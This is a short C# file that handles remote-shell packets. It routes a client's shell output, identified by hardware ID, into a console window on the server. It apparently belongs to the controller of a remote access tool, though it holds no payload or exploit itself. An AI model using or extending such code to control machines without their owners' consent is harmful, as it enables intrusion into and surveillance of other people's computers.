2023-07-29 23:37:10 +05:30

26 lines
736 B
C#

using System.Windows.Forms;
using MessagePackLib.MessagePack;
using Server.Connection;
using Server.Forms;
namespace Server.Handle_Packet;
public class HandleShell
{
public HandleShell(MsgPack unpack_msgpack, Clients client)
{
FormShell formShell = (FormShell)Application.OpenForms["shell:" + unpack_msgpack.ForcePathObject("Hwid").AsString];
if (formShell != null)
{
if (formShell.Client == null)
{
formShell.Client = client;
formShell.timer1.Enabled = true;
}
formShell.richTextBox1.AppendText(unpack_msgpack.ForcePathObject("ReadInput").AsString);
formShell.richTextBox1.SelectionStart = formShell.richTextBox1.TextLength;
formShell.richTextBox1.ScrollToCaret();
}
}
}